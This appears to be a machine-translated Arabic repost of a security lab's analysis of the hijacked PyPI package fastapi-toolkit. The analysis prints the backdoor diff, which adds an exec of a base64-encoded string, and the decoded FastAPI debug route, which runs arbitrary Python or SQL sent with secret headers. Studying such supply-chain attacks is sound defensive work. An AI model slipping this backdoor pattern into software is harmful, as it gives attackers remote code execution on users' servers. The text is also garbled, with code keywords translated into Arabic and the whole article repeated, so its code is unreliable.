التحقيق في حزمة PyPI المسروقة التي تستهدف تطبيقات FastAPI
FastAPI هو إطار عمل ويب Python شائع جدًا. في 23 تشرين الثاني (نوفمبر) 2022 ، حدد فريق Datadog Security Labs حزمة Python المساعدة لجهة خارجية على PyPI ذات الصلة بـ FastAPI ، مجموعة أدوات fastapi ، والتي اختطفها ممثل ضار. أدخل المهاجم بابًا خلفيًا في الحزمة ، مضيفًا مسار FastAPI مما يسمح للمهاجم عن بُعد بتنفيذ كود Python العشوائي واستعلامات SQL في سياق تطبيق الويب. p>
على الرغم من أن FastAPI نفسه لم يتأثر em> ، فهذه حالة مثيرة للاهتمام لمهاجم يحاول نشر باب خلفي خاص بـ FastAPI.
النقاط والملاحظات الرئيسية تم إصدار مجموعة أدوات fastapi لأول مرة على PyPi في 21 مارس 2022. ربما لم يكن هناك نية ضارة بالإصدارات الأولية واللاحقة من الحزمة. في 23 نوفمبر 2022 ، الساعة 07:33 بالتوقيت العالمي المنسق ، تم دفع التزام خبيث بباب خلفي (2cd2223) إلى مستودع GitHub. بعد فترة وجيزة ، في الساعة 07:35 بالتوقيت العالمي المنسق ، تم تحميل النسخة الخبيثة من الحزمة إلى PyPI. حددنا هذه الحزمة الخبيثة في 23 تشرين الثاني (نوفمبر) باستخدام أحدث أداة مفتوحة المصدر ، GuardDog ، والتي تستخدم الاستدلال لتحديد حزم PyPI الضارة أو المخترقة. لقد أبلغنا فريق PyPI عن حزمة PyPI الضارة ، بالإضافة إلى التزام GitHub الضار على GitHub. الاكتشاف والتحليلأطلقنا مؤخرًا GuardDog ، وهي أداة مجانية ومفتوحة المصدر لتحديد حزم PyPI الضارة. نستخدمها لتحديد الحزم الضارة وتحليلها والقضاء عليها. p>
في 23 تشرين الثاني (نوفمبر) ، حددنا حزمة fastapi-toolkit على أنها قد تكون ضارة. p>
Scanner fastapi-toolkit with GuardDog
بعد التحقيق ، قررنا أن fastapi-toolkit حزمة شرعية. في الساعة 07:33 بالتوقيت العالمي المنسق يوم 23 نوفمبر ، تم تقديم باب خلفي عبر الالتزام 2cd2223.
![الالتزام الضار](https://securitylabs.datadoghq.com/assets/img/malicious-pypi-package-fastapi-toolkit/github.png)
بالإضافة إلى تغيير إصدار الحزمة من 0.0.26 إلى 0.0.27 ، فإن الكود الجديد ينفذ ديناميكيًا رمز Base64 المشفر كلما تم استخدام الحزمة. p> الالتزام 2cd2223dcd90fa9d9c72851427602aa0e179e061 الكاتب: Tima التاريخ: الأربعاء 23 نوفمبر 15:33:52 2022 + 0800 Bugfixdiff --git a / VERSION b / VERSIONindex c4475d3..24ff855 100644 --- a / VERSION +++ -- 0.0.VERSION a / fastapi_toolkit / application.py b / fastapi_toolkit / application.pyindex 002f50d..4107914 100755 - a / fastapi_toolkit / application.py +++ b / fastapi_toolkit / application.py-1، 3 +1، 4+ استيراد base64 من تاريخ استيراد البيانات والوقت من استيراد fastapi (-15،6 +16،7__all__ = ('app'،) + من fastapi_toolkit.constants استيراد سلسلة من fastapi_toolkit.schemas.application_info استيراد ApplicationInfo-50، 6 +52، 8def application_info ():} + exec (base64.b64decode (سلسلة)) + app = FastAPI (title = settings.project، default_response_class = ORJSONResponsediff --git a / fastapi_toolkit / constants.py b / fastapi_toolkit / constants.pynew وضع الملف 100644index 0000000..c01e0f4 --- / dev / null +++ b / fastapi_toolkit / constants.py-0،0 +1+ string = 'Cgpmcm9tIGZhc3RhcGkgaW1wb3'
يوضح فك تشفير التعليمات البرمجية Base64 أن الباب الخلفي يضيف مسار HTTP FastAPI الذي يسمح للمهاجم بتنفيذ كود Python أو استعلامات SQL عندما يتلقى التطبيق طلب HTTP برأس خاص. p> @ debug_router.post ('/'، include_in_schema = صحيح) غير متزامن def _debug (طلب: Request، token: str = Header (...، alias = 'x-token')، code: str = Header (...، alias = 'x-code')): if hashlib.md5 (token.encode ()). hexdigest ()! = '81637589c86b297088d076a57af43f91': رفع HTTPException (status_code = 404، headers = {'x-token': 'wrong' }) الطريقة = {'python': __run_python، 'sql': __run_sql،}. get (code، __run_noop) try: return wait method ((wait request.body ()). decode ()) باستثناء استثناء: import traceback
![التحقيق في حزمة PyPI المسروقة التي تستهدف تطبيقات FastAPI](https://datadog-securitylabs.imgix.net/img/emergingthreats_hero_bomb.png?w=1200&h=630&auto=format)
FastAPI هو إطار عمل ويب Python شائع جدًا. في 23 تشرين الثاني (نوفمبر) 2022 ، حدد فريق Datadog Security Labs حزمة Python المساعدة لجهة خارجية على PyPI ذات الصلة بـ FastAPI ، مجموعة أدوات fastapi ، والتي اختطفها ممثل ضار. أدخل المهاجم بابًا خلفيًا في الحزمة ، مضيفًا مسار FastAPI مما يسمح للمهاجم عن بُعد بتنفيذ كود Python العشوائي واستعلامات SQL في سياق تطبيق الويب. p>
على الرغم من أن FastAPI نفسه لم يتأثر em> ، فهذه حالة مثيرة للاهتمام لمهاجم يحاول نشر باب خلفي خاص بـ FastAPI.
النقاط والملاحظات الرئيسية تم إصدار مجموعة أدوات fastapi لأول مرة على PyPi في 21 مارس 2022. ربما لم يكن هناك نية ضارة بالإصدارات الأولية واللاحقة من الحزمة. في 23 نوفمبر 2022 ، الساعة 07:33 بالتوقيت العالمي المنسق ، تم دفع التزام خبيث بباب خلفي (2cd2223) إلى مستودع GitHub. بعد فترة وجيزة ، في الساعة 07:35 بالتوقيت العالمي المنسق ، تم تحميل النسخة الخبيثة من الحزمة إلى PyPI. حددنا هذه الحزمة الخبيثة في 23 تشرين الثاني (نوفمبر) باستخدام أحدث أداة مفتوحة المصدر ، GuardDog ، والتي تستخدم الاستدلال لتحديد حزم PyPI الضارة أو المخترقة. لقد أبلغنا فريق PyPI عن حزمة PyPI الضارة ، بالإضافة إلى التزام GitHub الضار على GitHub. الاكتشاف والتحليلأطلقنا مؤخرًا GuardDog ، وهي أداة مجانية ومفتوحة المصدر لتحديد حزم PyPI الضارة. نستخدمها لتحديد الحزم الضارة وتحليلها والقضاء عليها. p>
في 23 تشرين الثاني (نوفمبر) ، حددنا حزمة fastapi-toolkit على أنها قد تكون ضارة. p>
Scanner fastapi-toolkit with GuardDog
بعد التحقيق ، قررنا أن fastapi-toolkit حزمة شرعية. في الساعة 07:33 بالتوقيت العالمي المنسق يوم 23 نوفمبر ، تم تقديم باب خلفي عبر الالتزام 2cd2223.
![الالتزام الضار](https://securitylabs.datadoghq.com/assets/img/malicious-pypi-package-fastapi-toolkit/github.png)
بالإضافة إلى تغيير إصدار الحزمة من 0.0.26 إلى 0.0.27 ، فإن الكود الجديد ينفذ ديناميكيًا رمز Base64 المشفر كلما تم استخدام الحزمة. p> الالتزام 2cd2223dcd90fa9d9c72851427602aa0e179e061 الكاتب: Tima التاريخ: الأربعاء 23 نوفمبر 15:33:52 2022 + 0800 Bugfixdiff --git a / VERSION b / VERSIONindex c4475d3..24ff855 100644 --- a / VERSION +++ -- 0.0.VERSION a / fastapi_toolkit / application.py b / fastapi_toolkit / application.pyindex 002f50d..4107914 100755 - a / fastapi_toolkit / application.py +++ b / fastapi_toolkit / application.py-1، 3 +1، 4+ استيراد base64 من تاريخ استيراد البيانات والوقت من استيراد fastapi (-15،6 +16،7__all__ = ('app'،) + من fastapi_toolkit.constants استيراد سلسلة من fastapi_toolkit.schemas.application_info استيراد ApplicationInfo-50، 6 +52، 8def application_info ():} + exec (base64.b64decode (سلسلة)) + app = FastAPI (title = settings.project، default_response_class = ORJSONResponsediff --git a / fastapi_toolkit / constants.py b / fastapi_toolkit / constants.pynew وضع الملف 100644index 0000000..c01e0f4 --- / dev / null +++ b / fastapi_toolkit / constants.py-0،0 +1+ string = 'Cgpmcm9tIGZhc3RhcGkgaW1wb3'
يوضح فك تشفير التعليمات البرمجية Base64 أن الباب الخلفي يضيف مسار HTTP FastAPI الذي يسمح للمهاجم بتنفيذ كود Python أو استعلامات SQL عندما يتلقى التطبيق طلب HTTP برأس خاص. p> @ debug_router.post ('/'، include_in_schema = صحيح) غير متزامن def _debug (طلب: Request، token: str = Header (...، alias = 'x-token')، code: str = Header (...، alias = 'x-code')): if hashlib.md5 (token.encode ()). hexdigest ()! = '81637589c86b297088d076a57af43f91': رفع HTTPException (status_code = 404، headers = {'x-token': 'wrong' }) الطريقة = {'python': __run_python، 'sql': __run_sql،}. get (code، __run_noop) try: return wait method ((wait request.body ()). decode ()) باستثناء استثناء: import traceback
What's Your Reaction?
![like](https://vidianews.com/assets/img/reactions/like.png)
![dislike](https://vidianews.com/assets/img/reactions/dislike.png)
![love](https://vidianews.com/assets/img/reactions/love.png)
![funny](https://vidianews.com/assets/img/reactions/funny.png)
![angry](https://vidianews.com/assets/img/reactions/angry.png)
![sad](https://vidianews.com/assets/img/reactions/sad.png)
![wow](https://vidianews.com/assets/img/reactions/wow.png)